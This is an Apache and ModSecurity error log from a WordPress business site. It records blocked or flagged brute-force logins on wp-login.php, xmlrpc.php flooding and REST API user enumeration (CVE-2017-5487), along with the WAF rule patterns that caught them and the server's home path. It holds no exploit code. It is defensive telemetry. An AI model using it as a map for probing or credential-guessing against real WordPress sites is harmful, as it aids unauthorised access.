[Sat May 09 15:31:16.350622 2026] [:error] [pid 9920:tid 9946] [client 107.189.13.30:62079] [client 107.189.13.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 107.189.13.30, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "af7ixExitGYhlzgZb5bjIwAAAdg"]
[Sat May 09 17:53:15.366729 2026] [:error] [pid 9187:tid 9270] [client 202.152.139.194:59719] [client 202.152.139.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.152.139.194, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "af8ECxC7An6gkXsRsaHNugAAAJE"]
[Sat May 09 17:55:59.583918 2026] [:error] [pid 9184:tid 9220] [client 202.152.139.194:59726] [client 202.152.139.194] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "af8Er4jfODqb_i0Fm9-ecwAAABc"]
[Sat May 09 17:56:26.315666 2026] [:error] [pid 9833:tid 9846] [client 202.152.139.194:60162] [client 202.152.139.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.152.139.194, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "af8EyiM9JmxIS0KGZUCN0wAAAYg"]
[Sat May 09 17:58:15.804443 2026] [:error] [pid 9920:tid 9922] [client 45.61.188.243:49569] [client 45.61.188.243] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.61.188.243, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "af8FN0xitGYhlzgZb5b_sAAAAcA"]
[Sat May 09 17:58:17.135442 2026] [:error] [pid 9920:tid 9924] [client 45.61.188.243:49569] [client 45.61.188.243] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.61.188.243, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "af8FOUxitGYhlzgZb5b_swAAAcI"]
[Sat May 09 18:29:27.492079 2026] [:error] [pid 9187:tid 9268] [client 101.33.55.204:59744] [client 101.33.55.204] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "af8MhxC7An6gkXsRsaHbcQAAAI8"]
[Sat May 09 19:10:43.516788 2026] [:error] [pid 9186:tid 9236] [client 43.164.194.198:59702] [client 43.164.194.198] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "af8WMxW4eFOEw1mKOgLuoQAAAEo"]
[Sat May 09 23:05:34.527543 2026] [autoindex:error] [pid 55353:tid 55375] [client 195.3.220.7:58746] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://google.com/
[Sat May 09 23:05:35.374952 2026] [autoindex:error] [pid 55186:tid 55271] [client 195.3.220.7:36062] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://google.com/
[Sat May 09 23:05:39.395415 2026] [autoindex:error] [pid 55182:tid 55233] [client 195.3.220.7:35866] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://google.com/
[Sat May 09 23:05:40.554290 2026] [autoindex:error] [pid 55182:tid 55213] [client 195.3.220.7:43794] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://google.com/
[Sun May 10 00:15:17.954480 2026] [:error] [pid 55182:tid 55229] [client 170.106.72.93:51204] [client 170.106.72.93] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "af9dlTaxmP-S8ASrqQnwRAAAANE"]
[Sun May 10 00:57:37.733303 2026] [:error] [pid 55353:tid 55372] [client 91.92.243.248:53135] [client 91.92.243.248] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.243.248, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "af9ngSDuyNO3XosoIYSJYgAAARE"]
[Sun May 10 01:02:22.284650 2026] [:error] [pid 55182:tid 55216] [client 162.62.231.139:40006] [client 162.62.231.139] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "af9onjaxmP-S8ASrqQn2NwAAAMQ"]
[Sun May 10 03:48:50.251285 2026] [:error] [pid 62910:tid 62935] [client 146.70.182.76:44192] [client 146.70.182.76] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "af-Pot5YAy_h5VqgWqhFaAAAANc"], referer: https://t.co/
[Sun May 10 03:48:52.023154 2026] [:error] [pid 62910:tid 62914] [client 146.70.182.76:44196] [client 146.70.182.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.70.182.76, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "af-PpN5YAy_h5VqgWqhFagAAAMI"], referer: https://www.google.com/search?q=wordpress
[Sun May 10 03:48:54.524252 2026] [:error] [pid 62910:tid 62915] [client 146.70.182.76:44204] [client 146.70.182.76] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 146.70.182.76, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "af-Ppt5YAy_h5VqgWqhFawAAAMM"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 10 03:48:56.996388 2026] [:error] [pid 62910:tid 62930] [client 146.70.182.76:44206] [client 146.70.182.76] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 146.70.182.76, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "af-PqN5YAy_h5VqgWqhFbQAAANI"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 10 03:48:59.366172 2026] [:error] [pid 62803:tid 62873] [client 146.70.182.76:40560] [client 146.70.182.76] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 146.70.182.76, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "af-Pq05oy4jU7eVtNaXeXQAAAIk"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 10 03:49:01.828231 2026] [:error] [pid 62910:tid 62914] [client 146.70.182.76:40574] [client 146.70.182.76] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 146.70.182.76, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "af-Prd5YAy_h5VqgWqhFcAAAAMI"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 10 03:49:04.281764 2026] [:error] [pid 62910:tid 62915] [client 146.70.182.76:40590] [client 146.70.182.76] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 146.70.182.76, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "af-PsN5YAy_h5VqgWqhFdAAAAMM"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 10 03:49:06.610003 2026] [:error] [pid 62910:tid 62928] [client 146.70.182.76:40602] [client 146.70.182.76] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 146.70.182.76, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "af-Pst5YAy_h5VqgWqhFdwAAANA"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 10 03:52:35.231061 2026] [:error] [pid 62803:tid 62880] [client 95.174.64.246:55468] [client 95.174.64.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 95.174.64.246, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "af-Qg05oy4jU7eVtNaXe5QAAAJA"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 10 03:52:37.813529 2026] [:error] [pid 62910:tid 62930] [client 95.174.64.246:35598] [client 95.174.64.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 95.174.64.246, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "af-Qhd5YAy_h5VqgWqhGXgAAANI"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 10 03:52:40.194624 2026] [:error] [pid 62801:tid 62831] [client 95.174.64.246:35614] [client 95.174.64.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 95.174.64.246, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "af-QiBMFDul6kZmcchAgMwAAABU"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 10 03:52:42.619832 2026] [:error] [pid 62802:tid 62846] [client 95.174.64.246:35620] [client 95.174.64.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 95.174.64.246, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "af-Qiqt9wnaRe0v-Mka1bQAAAEk"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 10 03:52:45.007469 2026] [:error] [pid 62910:tid 62921] [client 95.174.64.246:35634] [client 95.174.64.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 95.174.64.246, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "af-Qjd5YAy_h5VqgWqhGcAAAAMk"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 10 03:52:47.475210 2026] [:error] [pid 62910:tid 62934] [client 95.174.64.246:35642] [client 95.174.64.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 95.174.64.246, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "af-Qj95YAy_h5VqgWqhGdAAAANY"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 10 03:55:41.482761 2026] [:error] [pid 62910:tid 62921] [client 104.234.53.187:34615] [client 104.234.53.187] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.234.53.187, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "af-RPd5YAy_h5VqgWqhHWAAAAMk"]
[Sun May 10 03:57:34.374041 2026] [:error] [pid 62910:tid 62927] [client 84.17.58.191:49584] [client 84.17.58.191] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 84.17.58.191, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "af-Rrt5YAy_h5VqgWqhIKgAAAM8"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 10 03:57:36.938875 2026] [:error] [pid 62801:tid 62834] [client 84.17.58.191:49594] [client 84.17.58.191] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 84.17.58.191, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "af-RsBMFDul6kZmcchAg0AAAABg"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 10 03:57:39.255464 2026] [:error] [pid 32915:tid 32922] [client 84.17.58.191:59192] [client 84.17.58.191] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 84.17.58.191, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "af-Rszg8EIe76RX8AUZ0YAAAAQI"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 10 03:57:41.570786 2026] [:error] [pid 32915:tid 32923] [client 84.17.58.191:59206] [client 84.17.58.191] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 84.17.58.191, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "af-RtTg8EIe76RX8AUZ0YwAAAQM"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 10 03:57:43.836103 2026] [:error] [pid 62803:tid 62865] [client 84.17.58.191:59212] [client 84.17.58.191] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 84.17.58.191, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "af-Rt05oy4jU7eVtNaXgHwAAAIE"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 10 04:02:33.711595 2026] [:error] [pid 62801:tid 62826] [client 212.102.54.138:39548] [client 212.102.54.138] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.102.54.138, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "af-S2RMFDul6kZmcchAhbgAAABA"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 10 04:02:36.336223 2026] [:error] [pid 32915:tid 32932] [client 212.102.54.138:39560] [client 212.102.54.138] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.102.54.138, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "af-S3Dg8EIe76RX8AUZ1wgAAAQw"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 10 04:02:38.640798 2026] [:error] [pid 62803:tid 62881] [client 212.102.54.138:37708] [client 212.102.54.138] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.102.54.138, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "af-S3k5oy4jU7eVtNaXhBgAAAJE"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 10 04:02:40.973437 2026] [:error] [pid 32915:tid 32920] [client 212.102.54.138:37724] [client 212.102.54.138] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.102.54.138, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "af-S4Dg8EIe76RX8AUZ1yAAAAQA"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 10 04:02:43.284632 2026] [:error] [pid 32915:tid 32923] [client 212.102.54.138:51753] [client 212.102.54.138] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.102.54.138, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "af-S4zg8EIe76RX8AUZ10AAAAQM"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 10 04:02:45.590003 2026] [:error] [pid 32915:tid 32924] [client 212.102.54.138:37732] [client 212.102.54.138] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.102.54.138, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "af-S5Tg8EIe76RX8AUZ11wAAAQQ"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 10 04:07:35.045922 2026] [:error] [pid 62802:tid 62838] [client 95.174.64.236:36200] [client 95.174.64.236] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 95.174.64.236, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "af-UB6t9wnaRe0v-Mka3jwAAAEE"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 10 04:07:37.431758 2026] [:error] [pid 62910:tid 62912] [client 95.174.64.236:36202] [client 95.174.64.236] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 95.174.64.236, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "af-UCd5YAy_h5VqgWqhKSgAAAMA"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 10 04:07:39.802020 2026] [:error] [pid 62801:tid 62813] [client 95.174.64.236:41304] [client 95.174.64.236] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 95.174.64.236, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "af-UCxMFDul6kZmcchAiUAAAAAM"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 10 04:07:42.305961 2026] [:error] [pid 32915:tid 32938] [client 95.174.64.236:41316] [client 95.174.64.236] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 95.174.64.236, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "af-UDjg8EIe76RX8AUZ32wAAARI"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 10 04:07:44.735885 2026] [:error] [pid 62803:tid 62880] [client 95.174.64.236:41320] [client 95.174.64.236] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 95.174.64.236, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "af-UEE5oy4jU7eVtNaXiZwAAAJA"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 10 04:07:47.195947 2026] [:error] [pid 62910:tid 62929] [client 95.174.64.236:41334] [client 95.174.64.236] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 95.174.64.236, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "af-UE95YAy_h5VqgWqhKVgAAANE"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 10 04:21:36.875732 2026] [:error] [pid 62910:tid 62919] [client 84.15.222.116:46889] [client 84.15.222.116] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 84.15.222.116, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "af-XUN5YAy_h5VqgWqhL0AAAAMc"]
[Sun May 10 04:21:47.071540 2026] [:error] [pid 62910:tid 62917] [client 84.15.222.116:5465] [client 84.15.222.116] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 84.15.222.116, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "af-XW95YAy_h5VqgWqhL2QAAAMU"]
[Sun May 10 04:21:57.693200 2026] [:error] [pid 62803:tid 62887] [client 84.15.222.116:50321] [client 84.15.222.116] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 84.15.222.116, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "af-XZU5oy4jU7eVtNaXkXQAAAJc"]
[Sun May 10 04:22:08.175945 2026] [:error] [pid 62803:tid 62887] [client 84.15.222.116:18565] [client 84.15.222.116] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 84.15.222.116, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "af-XcE5oy4jU7eVtNaXkZwAAAJc"]
[Sun May 10 04:22:18.745804 2026] [:error] [pid 62910:tid 62927] [client 84.15.222.116:26605] [client 84.15.222.116] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 84.15.222.116, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "af-Xet5YAy_h5VqgWqhL9AAAAM8"]
[Sun May 10 04:53:52.119369 2026] [:error] [pid 62803:tid 62881] [client 39.35.233.180:23597] [client 39.35.233.180] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 39.35.233.180, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "af-e4E5oy4jU7eVtNaXo5QAAAJE"]
